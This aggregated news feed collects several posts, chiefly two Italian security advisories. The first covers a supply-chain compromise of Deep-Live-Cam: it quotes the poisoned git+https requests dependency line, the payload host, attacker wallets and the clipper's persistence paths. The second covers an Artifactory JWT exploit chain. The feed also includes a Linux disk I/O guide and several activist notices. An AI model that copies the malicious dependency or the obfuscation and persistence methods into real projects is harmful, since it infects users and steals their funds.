netzpolitik.org

2026-09-14 15:44:11

Das System #Lavender hilft bei Angriffsplanungen und identifiziert potenzielle Ziele für Bomben, erkennt Personen oder Fahrzeuge. Doch verstößt das hochentwickelte System der automatisierten Todeslisten gegen völkerrechtliche Verpflichtungen? Wir sprechen mit Taylor Kate Woodcock und Rainer Rehak über die Folgen von „KI“ in bewaffneten Konflikten netzpolitik.org/2026/interview…

Automatisierte Todeslisten

Computersysteme, die automatisiert in Echtzeit große Datenmassen auswerten, verändern die militärische Zielauswahl. Eine Analyse des Lavender-Systems zeigt: Solche Software verstößt gegen völkerrechtliche Verpflichtungen.

^{Constanze (netzpolitik.org)}

(in)sicurezza digitale

2026-09-14 13:04:18

Deep-Live-Cam infetto: 434 spazi nascosti in un finto pacchetto Requests trasformano 96.000 stelle GitHub in un clipper crypto

Si parla di:
Toggle

Quattrocentotrentaquattro spazi vuoti. È lì che un attaccante ha nascosto, in un singolo file setup.py, il codice capace di trasformare uno dei tool di deepfake più popolari di GitHub in un ladro di criptovalute silenzioso. Deep-Live-Cam, applicazione open source per il face-swap in tempo reale con oltre 96.600 stelle, è rimasta compromessa per nove ore e trentanove minuti l’8 e il 9 settembre 2026. Bastano per infettare un numero di macchine impossibile da quantificare con certezza — ed è proprio questa incertezza, più che la tecnica in sé, il vero problema per chi deve valutare il danno.

Una finestra di nove ore, aperta da un account compromesso

La ricostruzione pubblicata dai ricercatori di SafeDep, specializzati in sicurezza della supply chain open source, è quasi cronometrica. Il 5 settembre l’attaccante crea su GitHub un account chiamato pypls e vi pubblica un repository denominato semplicemente requests — un tentativo di confusione visiva con la libreria Python omonima, tra le più scaricate al mondo. Tre giorni dopo, l’8 settembre alle 15:58:54 UTC, un commit (hash 7895c547) viene pushato direttamente sul branch principale di Deep-Live-Cam, modificando diciotto voci del file requirements.txt. La riga chiave è questa:

requests @ git+https://github.com/pypls/requests.git

Con una sola riga, ogni installazione del progetto smette di scaricare la libreria Requests originale e inizia a clonare il repository dell’attaccante, mantenendo però metadati ingannevoli che rimandano al progetto legittimo. La scoperta arriva rapidamente: alle 01:26:18 UTC del 9 settembre un ricercatore della community, identificato come fred-cardoso, segnala la dipendenza sospetta. Il maintainer reagisce in fretta, revertendo la modifica con il commit 55d306d5 alle 01:37:35 e, due minuti dopo, annunciando pubblicamente di aver rilevato “accessi anomali all’account nonostante l’autenticazione a due fattori attiva” e di aver ruotato credenziali e chiavi.

Il vettore di accesso iniziale resta un punto oscuro: il commit non è firmato, e questo impedisce di stabilire se l’attaccante disponesse di un token rubato, di una chiave SSH compromessa o di una sessione dirottata. Il solo dato certo è che il 2FA, da solo, non ha bastato a fermare l’attacco.

L’arte di nascondere codice: spazi e ideogrammi

La parte più istruttiva dell’attacco, dal punto di vista tecnico, riguarda il modo in cui il payload malevolo è stato occultato dentro il finto pacchetto requests. Nel file setup.py, subito dopo l’istruzione import sys, l’attaccante ha inserito 434 caratteri di spazio consecutivi sulla stessa riga, spingendo il codice realmente eseguito ben oltre il margine di visibilità di qualsiasi editor o strumento di revisione standard. Chi avesse aperto il file con un normale visualizzatore avrebbe visto solo righe vuote.

A questo si aggiunge un secondo livello di offuscamento: variabili con nomi in caratteri cinesi e giapponesi (tra gli esempi documentati da SafeDep, sequenze come “一時1”, “シード5”, “队列102”), scelte non tanto per nascondere il significato quanto per aumentare il rumore visivo e ostacolare l’analisi statica automatizzata. Il codice effettivo, decodificato da Base64 e decompresso con zlib, veniva eseguito durante la fase di build di pip — quindi prima ancora che l’installazione di Deep-Live-Cam si completasse, e indipendentemente dal fatto che l’utente avviasse mai l’applicazione.

Il payload: un clipper multipiattaforma “a norma”

Una volta eseguito, il payload installava un classico clipboard hijacker per criptovalute, ma implementato con una cura tecnica superiore alla media. Il malware monitorava gli appunti di sistema ogni 0,3 secondi, applicando espressioni regolari per riconoscere indirizzi di wallet e — dettaglio non scontato — validandoli correttamente prima della sostituzione: Base58Check per Bitcoin e Tron, Bech32/Bech32m per gli indirizzi SegWit nativi di Bitcoin, checksum Keccak-256 conformi allo standard EIP-55 per Ethereum, e la validazione Base58 a 32 byte per Solana. Un livello di attenzione che riduce drasticamente il rischio di sostituzioni fallite o rilevabili a colpo d’occhio dalla vittima.

Gli indirizzi degli attaccanti individuati da SafeDep coprono tutte le principali reti: due indirizzi Bitcoin legacy, uno SegWit e uno Taproot, un indirizzo Ethereum, uno Tron e uno Solana — una diversificazione che suggerisce un operatore abituato a monetizzare su più chain contemporaneamente.

Per sopravvivere ai riavvii, il malware si comportava in modo diverso a seconda del sistema operativo. Su Windows scriveva una voce SysHelper nella chiave di registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run, puntando a uno script in %LOCALAPPDATA%\WindowsHelper\sys.pyw eseguito preferibilmente con pythonw.exe per restare invisibile senza finestra di console. Su macOS creava invece un LaunchAgent (com.user.syshelper.plist) con RunAtLoad e KeepAlive attivi, puntando a ~/Library/Application Support/HowToFind/sys.py.

Una finestra che nessun revert può richiudere del tutto

Qui sta il nodo più scomodo della vicenda: il revert del commit malevolo ha rimosso la dipendenza avvelenata dal codice sorgente, ma non ha eliminato nulla dai sistemi già compromessi durante le nove ore e trentanove minuti di esposizione. Chi ha installato o aggiornato Deep-Live-Cam in quella finestra temporale continua, con ogni probabilità, ad avere il clipper attivo in background, in attesa che l’ambiente Python venga reinstallato o che qualcuno individui manualmente le chiavi di persistenza. SafeDep è stata chiara su questo punto: l’analisi ricostruisce con certezza il funzionamento e le capacità del malware, non il numero di macchine effettivamente infettate né le perdite economiche reali — un limite intrinseco di qualsiasi indagine forense che parte da codice statico e non da telemetria delle vittime.

Con quasi 100.000 stelle su GitHub, Deep-Live-Cam gode di una base di installazioni potenzialmente enorme, spesso su macchine di utenti singoli, creator o piccoli studi che difficilmente dispongono di strumenti di monitoraggio EDR paragonabili a quelli di un ambiente enterprise — il bersaglio ideale per un attacco pensato per restare silenzioso il più a lungo possibile.

Cosa insegna ai difensori (e ai maintainer)

• Le dipendenze git+https:// dentro requirements.txt meritano lo stesso livello di sospetto di un binario scaricato da fonte sconosciuta: bypassano i controlli di integrità tipici di PyPI e permettono a chiunque abbia scritto quella riga di sostituire silenziosamente un pacchetto fidato.
• Il 2FA classico non è sufficiente a proteggere account maintainer con questo livello di visibilità: servono chiavi hardware o passkey resistenti al phishing, oltre a policy che impediscano push diretti su branch principali senza review, anche per chi ha permessi di amministratore.
• Gli scanner di sicurezza per il codice dovrebbero segnalare automaticamente righe anomale per lunghezza (whitespace injection) e la presenza massiva di identificatori non-ASCII in file critici come setup.py, entrambi pattern a basso costo di rilevamento e alto valore predittivo.
• Chi ha installato o aggiornato Deep-Live-Cam tra l’8 e il 9 settembre 2026 dovrebbe considerare il proprio sistema potenzialmente compromesso, verificare la presenza delle chiavi di persistenza indicate negli IoC e ruotare eventuali wallet le cui transazioni sono transitate dagli appunti di sistema in quel periodo.

Indicatori di compromissione

[Timeline UTC]
2026-09-05            Creazione account GitHub "pypls" e repo fake "requests"
2026-09-08 15:58:54   Commit malevolo 7895c547 su Deep-Live-Cam (main branch)
2026-09-09 01:26:18   Segnalazione community (fred-cardoso)
2026-09-09 01:37:35   Revert (commit 55d306d5)
2026-09-09 01:39:12   Annuncio maintainer: account compromesso, rotazione credenziali

[Repository e dipendenza malevola]
Repo fake:            github.com/pypls/requests
Riga requirements.txt: requests @ git+https://github.com/pypls/requests.git
Delivery payload:      graph.org/coding-utf-8-09-05-2
Beacon/contatore:      abacus.jasoncameron.dev/hit/duff.com/info

[Hash SHA-256]
setup.py malevolo:         b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4
Payload clipper decodificato: 73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561

[Wallet degli attaccanti]
BTC (legacy):   1LeCcPytFxpeo6Leujc4USuCwec9oDFa92
BTC (legacy):   3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB
BTC (SegWit):   bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3
BTC (Taproot):  bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6
ETH:            0x58d28b72c54A5b645201900c8aA8550ad7f7d90b
TRON:           TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ
SOL:            6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu

[Persistenza]
Windows: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper
         -> %LOCALAPPDATA%\WindowsHelper\sys.pyw
macOS:   ~/Library/LaunchAgents/com.user.syshelper.plist
         -> ~/Library/Application Support/HowToFind/sys.py

Fonte principale: analisi tecnica SafeDep sulla compromissione della supply chain di Deep-Live-Cam.

deepfake

^{insicurezzadigitale.com}

(in)sicurezza digitale

2026-09-14 13:05:51

Cinque minuti per diventare admin: la catena di exploit che trasforma tre bug di JFrog Artifactory in una backdoor Rust

Si parla di:
Toggle

Meno di cinque minuti: è il tempo medio che serve a un attaccante non autenticato per trasformare una semplice richiesta HTTP verso un’istanza JFrog Artifactory esposta in un account amministratore a tutti gli effetti. È la scoperta al centro di una campagna documentata da Wiz e ripresa da più fonti di settore, che dal 15 agosto all’8 settembre 2026 ha visto attaccanti concatenare tre vulnerabilità critiche per prendere il controllo di server di artifact management aziendali e piantarvi dentro backdoor persistenti scritte in Rust — capaci di sopravvivere anche dopo l’applicazione delle patch ufficiali.

Perché Artifactory è un bersaglio di alto valore

JFrog Artifactory è uno dei repository manager più diffusi nelle pipeline CI/CD enterprise: ospita pacchetti npm, immagini Docker, artefatti Maven, moduli Python e, spesso, segreti di build e credenziali di deploy. Compromettere un’istanza Artifactory non significa solo accedere a un server: significa potenzialmente inserirsi nel punto in cui il codice sorgente diventa artefatto distribuito, con tutte le implicazioni da attacco alla supply chain software che ne conseguono — lo stesso schema concettuale sfruttato in incidenti come SolarWinds, ma applicato al livello del repository interno anziché del prodotto finale.

Secondo le analisi diffuse da The Hacker News e BleepingComputer sulla base della ricerca Wiz, tra il 49% e il 62% delle istanze Artifactory raggiungibili da Internet risultano vulnerabili ad almeno una delle falle sfruttate in questa campagna — una superficie d’attacco enorme per un singolo prodotto, aggravata dal fatto che due delle tre vulnerabilità sono difetti logici di autenticazione, non richiedono exploit complessi o memory corruption, e sono quindi facilmente automatizzabili su larga scala.

La catena di exploit in dettaglio

Il cuore tecnico dell’attacco combina tre CVE distinte:

• CVE-2026-42018 — un difetto che restituisce un token JWT interno riservato all’utente anonimo a qualsiasi chiamante non autenticato, anche quando l’accesso anonimo è esplicitamente disabilitato a livello di configurazione: il primo anello della catena, che da solo non sembra critico ma apre la porta al passo successivo.
• CVE-2026-42016 — una validazione insufficiente all’endpoint di creazione dei token: il sistema verifica che firma ed emittente del JWT siano validi, ma non controlla effettivamente i permessi associati, permettendo di scambiare un token a basso privilegio per uno con scope amministrativo completo.
• CVE-2026-82329 — un bypass di autenticazione critico (CVSS 9.8) osservato sfruttato anche in modo indipendente dalle prime due, che da solo consente a un attaccante non autenticato di ottenere privilegi di amministratore.

Concatenando le prime due vulnerabilità, gli attaccanti ottengono in sequenza: una richiesta non autenticata verso l’endpoint dei token, la ricezione del token anonimo interno, lo scambio di quel token presso l’endpoint di creazione per uno con scope amministrativo — il tutto, secondo i dati Wiz, in una finestra media inferiore ai cinque minuti dalla prima richiesta alla creazione del nuovo account admin.

Dopo l’accesso: plugin Groovy e backdoor Rust

Una volta ottenuti privilegi amministrativi, il playbook osservato negli attacchi documentati segue uno schema costante e ben progettato per la persistenza. Gli attaccanti creano account amministratore aggiuntivi, spesso con nomi pensati per confondersi con account di servizio legittimi — sono stati osservati identificatori come 0xTerror, pattern svc_* e labadmin_* con suffissi casuali, oltre a nomi che imitano componenti interni come jfrog-distribution, jfrog-insight e repo-service.

Con l’accesso admin consolidato, viene installato un plugin Groovy malevolo: Artifactory supporta nativamente plugin Groovy lato server per estendere le proprie funzionalità, una feature legittima che diventa un potentissimo meccanismo di esecuzione di codice arbitrario in mano a un attaccante con privilegi sufficienti a caricarne uno personalizzato. Da lì, gli operatori distribuiscono una backdoor custom scritta in Rust con capacità di command-and-control, scaricando ulteriori payload in directory tipicamente meno monitorate come /dev/shm, /tmp e /var/tmp. In alcuni casi sono state estratte anche le chiavi di join del cluster Artifactory, che permetterebbero potenzialmente di espandere la persistenza ad altri nodi della stessa installazione distribuita.

La scelta di Rust per la backdoor non è casuale: binari compilati staticamente, assenza di dipendenze runtime come una VM o un interprete, e una superficie di rilevamento comportamentale ancora poco coperta dalle firme EDR tradizionali rispetto a impianti scritti in C/C++ o script. È una tendenza che si osserva sempre più spesso in malware post-exploitation di livello medio-alto nel 2026.

Perché la sola patch potrebbe non bastare

Il dettaglio più critico per chi gestisce infrastrutture Artifactory è che applicare la patch chiude la vulnerabilità di accesso iniziale, ma non rimuove automaticamente ciò che è stato piantato durante i 24 giorni di campagna osservata. Gli account amministratore creati dagli attaccanti, i plugin Groovy malevoli e la backdoor Rust restano attivi sul sistema finché non vengono identificati e rimossi manualmente — un pattern da manuale “patch ma non remedia” che ha già causato incidenti di re-compromissione in altre campagne di sfruttamento di vulnerabilità di gestione repository negli ultimi anni.

Raccomandazioni per i difensori

1. Aggiornare immediatamente Artifactory a una delle versioni corrette: 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38 o 7.161.20 (o successive nella rispettiva linea).
2. Non fermarsi alla patch: effettuare un audit completo degli account amministratore esistenti, con particolare attenzione a nomi anomali o pattern tipo svc_*, labadmin_* o identificatori che imitano componenti di sistema.
3. Revisionare l’elenco dei plugin Groovy installati e rimuovere quelli non riconducibili a un cambio di configurazione tracciato e approvato.
4. Cercare processi o binari sospetti in /dev/shm, /tmp e /var/tmp, ed effettuare scansione EDR mirata per binari Rust non firmati con comportamento di rete C2.
5. Ruotare le chiavi di join del cluster e le credenziali associate se l’istanza è risultata esposta durante la finestra 15 agosto – 8 settembre 2026.
6. Restringere l’esposizione diretta a Internet delle console di amministrazione Artifactory, ponendole dietro VPN o zero-trust proxy, indipendentemente dallo stato delle patch.

Il caso Artifactory è l’ennesima conferma che gli strumenti di infrastruttura per lo sviluppo software — repository manager, registry di pacchetti, sistemi CI/CD — sono ormai bersagli di prima scelta esattamente quanto i perimetri di rete tradizionali, perché offrono un accesso privilegiato e trasversale a tutto ciò che un’organizzazione costruisce e distribuisce. Trattarli come infrastruttura critica, con lo stesso rigore di patching, segmentazione e monitoraggio riservato ai sistemi di produzione, non è più opzionale.

Indicatori di compromissione e riferimenti tecnici

Prodotto: JFrog Artifactory
Periodo campagna osservata: 15 agosto - 8 settembre 2026 (24 giorni)
Scopritore: Wiz (ricerca cloud security)

CVE sfruttate:
- CVE-2026-42018: JWT anonimo interno restituito a chiamante non autenticato
  anche con accesso anonimo disabilitato
- CVE-2026-42016: validazione insufficiente dei permessi in fase di
  creazione token, consente escalation a scope amministrativo
- CVE-2026-82329 (CVSS 9.8): bypass di autenticazione che concede privilegi
  admin a un attaccante non autenticato, sfruttata anche stand-alone

Tempo medio exploit-to-admin: < 5 minuti

Versioni corrette: 7.111.21+ / 7.117.28+ / 7.125.20+ / 7.133.29+ /
  7.146.38+ / 7.161.20+

Account amministratore sospetti osservati:
  0xTerror
  svc_[stringa_casuale]
  labadmin_[stringa_casuale]
  jfrog-distribution
  jfrog-insight
  repo-service

Post-exploitation:
  - Plugin Groovy malevoli per RCE persistente
  - Backdoor custom in Rust con funzionalità C2
  - Payload droppati in /dev/shm, /tmp, /var/tmp
  - Estrazione chiavi di join del cluster

Superficie stimata: 49-62% delle istanze Artifactory esposte su Internet
  vulnerabili ad almeno una delle CVE sopra elencate

jfrog

^{insicurezzadigitale.com}

Spcnet.it

2026-09-14 09:12:19

Load average alle stelle, CPU inattiva: la guida completa alla diagnosi dell’I/O wait su Linux

Il sintomo che inganna: load average alto, CPU quasi ferma

Capita spesso a chi gestisce server Linux in produzione: il monitoraggio segnala un load average sopra 30 su una macchina con 24 core, gli utenti si lamentano di risposte lente, ma top mostra la CPU idle al 70%. Il riflesso istintivo è cercare il processo che “mangia CPU”, ma qui il colpevole non c’è da nessuna parte nella lista dei consumi di calcolo: il collo di bottiglia è l’I/O su disco, e la differenza tra i due scenari cambia completamente la strategia di intervento.

Il load average di Linux non misura solo i processi che vogliono la CPU: conta anche quelli bloccati in stato D (uninterruptible sleep), cioè in attesa che il kernel completi un’operazione di I/O. Un load di 30 con CPU libera significa quasi sempre che decine di thread sono in coda per il disco, non per il processore. Diagnosticare questo scenario richiede un metodo diverso da quello usato per un semplice sovraccarico di calcolo, e la differenza si vede negli strumenti da usare e nell’ordine in cui usarli.

Il metro di misura: I/O wait e perché da solo non basta

L’I/O wait (colonna wa in top) è la percentuale di tempo in cui la CPU è rimasta inattiva pur avendo almeno una richiesta di I/O ancora in sospeso. È un indicatore utile ma ingannevole: se il sistema ha altro lavoro da eseguire mentre il disco è lento, la CPU si tiene occupata e il valore di wa scende, anche se lo storage sottostante continua a rispondere altrettanto male. Per questo motivo l’I/O wait va sempre incrociato con metriche a livello di dispositivo, non usato come unico segnale.

Il flusso diagnostico corretto segue quattro passaggi in sequenza:

1. Controllare load average e colonna wa in top (premendo 1 per espandere le statistiche per singolo core)
2. Confermare il sospetto a livello di dispositivo con iostat -xz 1 o /proc/pressure/io
3. Solo a questo punto, andare a caccia dei processi responsabili con atop e iotop
4. Misurare in modo oggettivo con un benchmark reale (dd o fio), perché un numero concreto chiude ogni discussione

Passo 1 — Individuare i processi bloccati

Prima di aprire strumenti dedicati, un controllo rapido dei processi in stato “uninterruptible sleep” dà già un’indicazione:

ps -eo state,pid,comm | grep "^D"

Se questo comando restituisce più righe, ripetutamente, su un sistema che dovrebbe essere reattivo, l’ipotesi I/O-bound si rafforza. Il passo successivo è capire quanto è grave la situazione a livello di dispositivo di blocco.

Passo 2 — iostat: la vista a livello di dispositivo

iostat -xz 1

I flag hanno un significato preciso:

• -x: statistiche estese, incluse le latenze medie di lettura e scrittura
• -z: nasconde i dispositivi inattivi, per non affollare l’output con righe a zero
• 1: intervallo di refresh in secondi

Le colonne da guardare con attenzione sono r_await e w_await, che esprimono in millisecondi il tempo medio di attesa per operazione di lettura e scrittura: su storage sano questi valori restano a una cifra; valori a due o tre cifre indicano un disco sotto stress severo. La colonna %util va invece presa con cautela sui dispositivi SSD/NVMe, dove può risultare fuorviante a causa del parallelismo interno dei controller moderni, che gestiscono più richieste contemporaneamente senza che questo si traduca in saturazione reale.

Un dettaglio pratico spesso ignorato: il primo report stampato da iostat va scartato, perché media tutte le statistiche dall’avvio del sistema e può “truccare” in positivo un disco che in realtà ha iniziato a comportarsi male solo poche ore prima.

Passo 3 — Pressure Stall Information: la metrica più moderna

Dai kernel 4.20 in poi è disponibile un meccanismo più sofisticato dell’I/O wait tradizionale: la Pressure Stall Information (PSI), esposta in /proc/pressure/io:

cat /proc/pressure/io

Un output tipico in condizioni di forte stress si presenta così:

some avg10=44.21 avg60=39.07 avg300=31.88 total=8814592211
full avg10=38.90 avg60=35.62 avg300=29.15 total=7913804412

La riga some indica la percentuale di tempo in cui almeno un task era bloccato in attesa di I/O; la riga full indica la percentuale di tempo in cui tutti i task non idle erano bloccati contemporaneamente — un segnale molto più grave, perché significa che l’intero sistema è fermo in attesa dello storage. Su alcune distribuzioni PSI richiede il parametro di avvio del kernel psi=1 per essere attivo; vale la pena verificarlo prima di fare affidamento su questi dati in produzione.

Passo 4 — Trovare il colpevole con atop e iotop

Una volta confermato che il collo di bottiglia è reale a livello di dispositivo, resta da capire quale processo lo sta generando.

atop mostra le statistiche di I/O per disco direttamente nella vista principale; premendo d durante l’esecuzione si passa alla vista dedicata ai processi che stanno consumando I/O. È utile anche per individuare thread kernel come flush-8:0 (il thread di writeback che scarica su disco le pagine sporche dalla cache) o jbd2/sda5-8 (il journaling di ext4), che spesso vengono scambiati per processi “misteriosi” da chi non li conosce.

iotop offre una vista più mirata:

iotop -oPa

• -o (--only): mostra solo i processi che stanno effettivamente generando I/O in quel momento
• -P (--processes): aggrega per processo invece di elencare ogni singolo thread
• -a (--accumulated): mostra il totale di I/O accumulato dall’avvio dello strumento, utile per individuare pattern intermittenti

Un requisito spesso trascurato: dal kernel 5.14 il delay accounting è disabilitato di default, e senza di esso iotop non riesce a calcolare correttamente le statistiche per processo. Va abilitato con:

sudo sysctl kernel.task_delayacct=1

Per renderlo persistente ai riavvi è necessario aggiungere delayacct ai parametri di boot del kernel (tramite GRUB), oltre a impostare il sysctl in /etc/sysctl.d/.

Chiudere la discussione con un numero: dd e fio

Quando la diagnosi è fatta, spesso serve convincere qualcun altro (un cliente, un team infrastrutturale, un fornitore di storage) che il problema è reale. Un test rapido e riproducibile con dd:

dd if=/dev/zero of=diskbench bs=1M count=1024 conv=fdatasync

Il flag conv=fdatasync è essenziale: forza la sincronizzazione dei dati su disco prima che dd riporti il tempo trascorso, altrimenti si misurerebbe solo la velocità della cache di scrittura del kernel. Un risultato come “1073741824 bytes (1.1 GB) copiati, 46.0156 s, 23.3 MB/s” su uno storage che dovrebbe erogare centinaia di MB/s parla da solo, ed è molto più difficile da contestare di un’opinione: un host può discutere con la vostra opinione, molto più difficilmente lo farà con 23,3 MB/s misurati.

Per un quadro più completo, che tenga conto anche di IOPS e latenza sotto carico concorrente (lo scenario tipico di un database o di un server web sotto traffico reale), lo strumento di riferimento è fio, che permette di simulare pattern di accesso realistici con più job paralleli, dimensioni di blocco configurabili e miscele di letture/scritture.

Il caso reale: quando il disco lento innesca un effetto domino

Un caso concreto che vale la pena analizzare riguarda un server con un’istanza MySQL configurata con max_connections=2000, un valore decisamente eccessivo per l’hardware disponibile. Ogni connessione MySQL alloca buffer per-thread; moltiplicando la memoria per singolo thread per il numero massimo di connessioni e sommando i buffer globali, il calcolo della memoria potenzialmente necessaria superava ampiamente la RAM installata.

Finché il traffico restava basso, il problema non si manifestava. Ma con un disco già lento (a causa di I/O wait elevato) e un picco di connessioni concorrenti, le richieste si sono accumulate in coda, la pressione di memoria è salita rapidamente, e l’OOM killer del kernel è intervenuto terminando processi critici. Un problema di storage, in altre parole, si è propagato fino a diventare un incidente di memoria e disponibilità.

Buone pratiche per prevenire il problema

Alcune misure pratiche riducono sensibilmente il rischio di trovarsi in questa situazione:

• Ridurre la frequenza di scrittura dei log di Nginx/Apache in scenari ad alto traffico, dove i log di accesso possono generare un volume di I/O sorprendentemente alto
• Spostare la cache in memoria (ad esempio su tmpfs) invece che su disco durante i picchi di concorrenza, per eliminare completamente la latenza di storage dal percorso critico
• Dimensionare correttamente pm.max_children in PHP-FPM: un valore troppo basso rifiuta traffico legittimo, uno troppo alto amplifica la pressione su disco e memoria nello stesso momento
• Valutare l’hardware: il salto da storage a rotazione a SSD, e da SSD a NVMe, cambia le soglie di r_await/w_await di un ordine di grandezza
• Introdurre un livello di caching come Varnish davanti all’applicazione, una volta che la cache è “primed” e può assorbire la maggior parte delle richieste senza toccare il backend

Conclusione

Un load average alto con CPU libera non è un paradosso: è un sintomo preciso che indica dove guardare. Il metodo — top per una prima ipotesi, iostat e PSI per confermarla a livello di dispositivo, atop/iotop per individuare il processo responsabile, e un benchmark con dd o fio per quantificare il problema in modo indiscutibile — si applica a qualunque stack, dai database ai server web, ed evita di perdere tempo a ottimizzare la CPU quando il vero collo di bottiglia sta girando a 23 MB/s su un disco che dovrebbe farne dieci volte tanto.

Fonte originale: Linux server performance: Is disk I/O slowing your application? – LinuxBlog.io

Linux server performance: Is disk I/O slowing your application? | LinuxBlog.io

If your Linux server is bogged down by disk I/O, your first step may often be to use the top command in the terminal to check load averages. However,

^{Hayden James (LinuxBlog.io)}

m0nt4lb4n0

2026-09-10 17:06:22

Log Out @ Roma

Inizia: Giovedì Settembre 17, 2026 @ 6:30 PM GMT+02:00 (Europe/Rome)

Finisce: Giovedì Settembre 17, 2026 @ 9:30 PM GMT+02:00 (Europe/Rome)

Giovedì 17 settembre torniamo con il Logout di TWC Roma, il ritrovo per tech workers che vogliono incontrarsi dopo lavoro: un'occasione per socializzare, conoscersi, parlare del nostro lavoro e come organizzarci nei prossimi mesi!

Ci vediamo giovedì 17 settembre, alle 18.30, da Shah Mat a Centocelle!

Unisciti al Gruppo telegram!

TWC Roma 🐺

Sezione romana di @twcita. Uno spazio per discussioni di rilevanza locale tra tech worker. Pure er posto giusto pe dasse na punta ogni tanto ;) Info & Regolamento: https://t.me/twcitagruppo/80268

^Telegram

D3 Direitos Digitais 🇵🇹 🇪🇺

2026-09-10 16:16:06

Oh, btw, we sued Facebook, Instagram, TikTok & YouTube.

Reuters: Portuguese group D3 sues Meta, TikTok and YouTube over addictive design

reuters.com/business/portugues…

AISA

2026-09-08 17:13:16

Qualche tempo fa abbiamo scelto di usare per la nostra mailing list¹ il servizio offerto gratuitamente da Autistici/Inventati. Per noi era una questione di coerenza: da tempo sosteniamo che una ricerca scientifica aperta – aperta nel senso di libera – può essere qualcosa di diverso da un adempimento amministrativo a scopo di sfruttamento e sorveglianza dei ricercatori solo se si basa su un’infrastruttura libera, rispettosa della privacy, decentrata, volontariamente federata. Un’università pubblica, se vuole restare portatrice di un punto di vista indipendente, deve avere spazi propri, aperti a tutti: questa idea – lo ricordava, nel 2021, la rettrice pro tempore dell’università di Amsterdam – ha una storia lunga, dalla biblioteca di Alessandria, ai monasteri e agli atenei medioevali, fino alla riforma di Wilhelm von Humboldt, attuata solo parzialmente e a intermittenza e smantellata dall’Unione Europea tramite il cosiddetto Bologna Process. Essere vittime coatte – grazie alla bibliometria di stato – di un’editoria di sorveglianza significa non solo perdere la privacy che è diritto di ognuno, ma anche l’autonomia delle proprie scelte istituzionali, come notato nel 2019 non da un attivista radicale, bensì da Claudio Aspesi, analista finanziario ingaggiato da SPARC. Sulla base di queste considerazioni, Autistici/Inventati ci era sembrato molto più sicuro delle nostre università ed enti di ricerca, per lo più colonizzati da Microsoft e Google perfino per un’infrastruttura fondamentale come la posta elettronica. La scienza aperta parla liberale, ma nel suo senso antico e non politico: criticare il tecnofeudalesimo e la sorveglianza amministrativa, statale e no, ma continuare a farsi usare da Big Tech, rimanendo passivi rispetto alla sudditanza dei propri atenei,² è come e forse peggio che stare in silenzio.

A/I è stato oggetto di una sanzione amministrativa da parte del potere esecutivo degli Stati Uniti d’America – sanzione che, proprio mentre scrivevamo questo comunicato, l’ha condotta alla chiusura. Gli aspetti legali e politici dell’intera operazione sono già ben spiegati nelle pagine a cui rinviamo. Non ci soffermeremo sulle omissioni³ di chi, a partire dall’Unione Europea, ha preferito cedere, né sugli attestati di solidarietà di organizzazioni ben più importanti della nostra. La scienza aperta, però, è toccata da questa censura, resa possibile, nel metodo e nel merito, non solo dalla prepotenza ma anche dall’acquiescenza.

1. Il metodo: la forma del dispotismo

1. Anche se è vero che basta una firma di Trump per cancellarci della rete, la storia non si esaurisce in un presidente statunitense idiosincratico: l’ordine esecutivo applicato contro A/I, l’13244, è stato firmato da George W. Bush il 23 settembre 2001 ed è parte di una guerra infinita cominciata ben prima.

2. Queste misure draconiane, che condannano le loro vittime alla morte finanziaria e telematica e puniscono chi cerca di aiutarle, sono facilitate da un sistema economico, finanziario e telematico non solo interconnesso, ma oligopolistico e oligarchico, essendo sostenuto da stati imperiali e dai loro vassalli a seguire.

3. L’azione statale non ha luogo tramite il potere giudiziario, bensì tramite il potere esecutivo, il quale non commina pene, che richiederebbero, in uno stato almeno formalmente di diritto, notifiche, difese, processi e tribunali, bensì prende provvedimenti amministrativi rappresentati – nel corso di guerre vere e inventate, contro terroristi più o meno rigorosamente definiti – come dettati da insindacabili motivi di sicurezza.

4. L’UE, che a qualcuno piaceva rappresentare come un giardino, non solo sta diventando sempre più allergica alla libertà di pensiero e di parola, ma è capace di prendere provvedimenti paragonabili, vale a dire sanzioni,⁴ inflitte promiscuamente dal Consiglio dell’Unione europea⁵ a enti e a persone. Sono per esempio sanzionati dall’UE, in modo simile a quelli in cui Francesca Albanese è sanzionata dagli USA, gli svizzeri Jacques Baud e Nathalie Yamb e il giornalista tedesco Hüseyin Doğru, che si sono limitati a esercitare la libertà di espressione, garantita non solo dall’articolo 11 della Carta dei diritti fondamentali della stessa Unione, ma anche dall’articolo 19 della Dichiarazione universale dei diritti umani.⁶

Sulle due sponde dell’Atlantico poteri esecutivi ipertrofici aggirano la discussione pubblica e le garanzie del potere giudiziario e calpestano diritti costituzionalmente garantiti, con la giustificazione – o il pretesto? – della guerra infinita. Come scrive Wu Ming, non sono atti distopici: sono atti, in quanto violano la divisione dei poteri, dispotici. Il dispotismo – anche la libertà dell’arte, della scienza e dell’insegnamento sono diritti costituzionalmente tutelati – è stato già applicato con successo, tramite la valutazione di stato, nel piccolo mondo della ricerca.⁷ Entro un generale regime di censura, una guerra infinita ha bisogno di una ricerca specificamente assoggettata,⁸ anche nell’ambito delle scienze sociali e umane: scienza aperta e istituzione della pace sono unite in un nesso non accidentale.

2. Il merito: spionaggio, censura e autocensura

La questione del metodo negli stati non dispotici o non colonizzati da despoti è preliminare: parlare del merito senza aver criticato il metodo espone al rischio di prendere sul serio accuse strutturalmente ingiuste. Conviene, però, riportare le parole del capitolo italiano dell’Internet Society, a proposito della immediata disabilitazione, da parte del Public Internet Registry, del dominio autistici.org:⁹

While we do not condone terrorism, we note that no evidence currently exists that the registrant has engaged in or supported terrorist activities. The designation apparently stems from the actions of some users of the registrant’s services and from the registrant’s clear political connotations. Both factors are disturbing: the idea that any email or web service provider could be labelled a terrorist organisation because of the actions of one of its users, or that a group’s political ideas could result in them being removed from the internet globally without any judicial review, should be of immediate and utmost concern to anyone who believes in an open and free internet. (corsivi aggiunti)

